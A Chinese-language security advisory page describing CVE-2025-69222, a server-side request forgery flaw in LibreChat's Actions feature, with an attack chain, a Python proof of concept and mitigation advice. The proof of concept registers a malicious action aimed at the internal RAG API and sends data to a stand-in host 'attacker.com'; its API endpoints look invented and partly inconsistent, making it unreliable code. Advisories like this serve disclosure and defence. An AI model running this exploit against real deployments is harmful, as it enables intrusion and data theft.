IPBUF安全漏洞报告
English
CVE-2025-69222 CVSS 9.1 严重

CVE-2025-69222 LibreChat Actions功能服务器端请求伪造漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-69222
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

SSRF服务器端请求伪造LibreChatCVE-2025-69222Actions功能RAG APIOpenAPI内网渗透权限绕过默认配置风险

漏洞概述

LibreChat是一款类ChatGPT的开源聊天应用,集成了多种高级功能。2025年1月7日,安全研究人员发现LibreChat 0.8.1-rc2版本存在严重的服务器端请求伪造(SSRF)漏洞。该漏洞源于Actions功能缺少对远程服务访问的权限限制。在默认配置下,LibreChat允许用户配置具有预定义指令和操作功能的AI代理,这些代理可以通过OpenAPI规范与远程服务进行交互,支持多种HTTP方法、参数和认证方式(包括自定义请求头)。然而,系统默认未对可访问的服务进行任何限制,这使得攻击者可以构造恶意请求,强制服务器向内部服务发起请求,从而访问本不应暴露的内部组件。更为严重的是,在默认的Docker Compose部署环境中,攻击者可以利用此漏洞访问内置的RAG(检索增强生成)API服务,获取敏感信息或进行进一步的内网渗透攻击。该漏洞CVSS评分高达9.1,属于严重级别,对使用默认配置部署LibreChat的用户构成重大安全威胁。

技术细节

LibreChat的Actions功能基于OpenAPI规范实现,允许AI代理通过用户配置的规范文件与外部或内部API进行交互。问题出在服务端对用户提供的URL地址缺乏有效的验证和过滤机制。当攻击者通过配置恶意的OpenAPI规范文件时,可以指定服务器向任意URL发起HTTP请求,包括内部网络地址如localhost、127.0.0.1或内网IP段。技术实现上,攻击者可以利用Actions功能的HTTP方法支持(如GET、POST),配合自定义请求头和参数,构造针对内部服务的探测和攻击请求。例如,通过设置URL为http://rag-api:5000/internal/query等内部服务地址,利用默认Docker Compose网络中容器间的信任关系,绕过网络边界限制访问RAG API。由于服务端请求是由LibreChat服务器发起,攻击流量看起来像是来自可信的内部网络,这使得传统的防火墙规则难以防御。漏洞利用的关键在于LibreChat默认启用了Actions功能且未实现服务访问白名单机制,攻击者只需获取普通用户权限即可利用此漏洞。

攻击链分析

STEP 1
信息收集
攻击者识别目标运行LibreChat 0.8.1-rc2版本,确认Actions功能处于启用状态
STEP 2
构造恶意OpenAPI规范
攻击者创建包含SSRF payload的OpenAPI规范文件,指定目标为内部服务地址(如RAG API)
STEP 3
上传恶意Action
通过LibreChat的Actions配置界面或API上传恶意构造的OpenAPI规范,绕过默认无限制的访问策略
STEP 4
触发漏洞利用
与AI代理交互,诱导其调用恶意Action,使LibreChat服务器向内部服务发起HTTP请求
STEP 5
数据窃取或内网渗透
利用服务器身份访问内部RAG API或其他敏感服务,窃取数据或利用信任关系进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69222 LibreChat SSRF PoC # Author: Security Researcher # Description: Exploit for SSRF vulnerability in LibreChat Actions feature import requests import json TARGET_URL = "http://target-librechat.com" ATTACKER_CALLBACK = "http://attacker.com/collect" INTERNAL_RAG_API = "http://rag-api:5000/internal/query" def create_malicious_action(): """Create a malicious OpenAPI spec for SSRF attack""" malicious_spec = { "openapi": "3.0.0", "info": { "title": "Malicious API", "version": "1.0.0" }, "paths": { "/exploit": { "get": { "operationId": "ssrfAttack", "parameters": [ { "name": "url", "in": "query", "schema": { "type": "string" } } ], "responses": { "200": { "description": "Success" } } } } } } return malicious_spec def exploit_ssrf(): """ Step 1: Register malicious action with SSRF payload Step 2: Trigger the action to make server request to internal service Step 3: Exfiltrate internal data via callback URL """ headers = { "Content-Type": "application/json", "Authorization": "Bearer USER_TOKEN" } # Create action with internal service URL action_data = { "name": "Internal Service Scanner", "description": "Scan internal services for testing", "api_spec": create_malicious_action(), "endpoint": INTERNAL_RAG_API, "method": "GET" } # Send malicious action to LibreChat response = requests.post( f"{TARGET_URL}/api/actions/create", headers=headers, json=action_data ) print(f"[+] Action created: {response.status_code}") # Trigger SSRF by invoking the action trigger_data = { "action_id": response.json().get("id"), "parameters": { "url": f"{INTERNAL_RAG_API}?data=secrets&callback={ATTACKER_CALLBACK}" } } requests.post( f"{TARGET_URL}/api/actions/execute", headers=headers, json=trigger_data ) print(f"[+] SSRF payload sent to internal RAG API") print(f"[+] Waiting for callback at {ATTACKER_CALLBACK}") if __name__ == "__main__": exploit_ssrf()

影响范围

LibreChat 0.8.1-rc2

防御指南

临时缓解措施
立即将LibreChat升级至0.8.2-rc2或最新稳定版本。在无法立即升级的情况下,可通过以下措施临时缓解:1) 在反向代理层配置URL过滤规则,阻止对内网地址的请求;2) 审查并移除不必要的Actions配置;3) 限制普通用户创建自定义Actions的权限;4) 在Docker Compose网络中为敏感服务启用网络策略,限制来自LibreChat容器的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表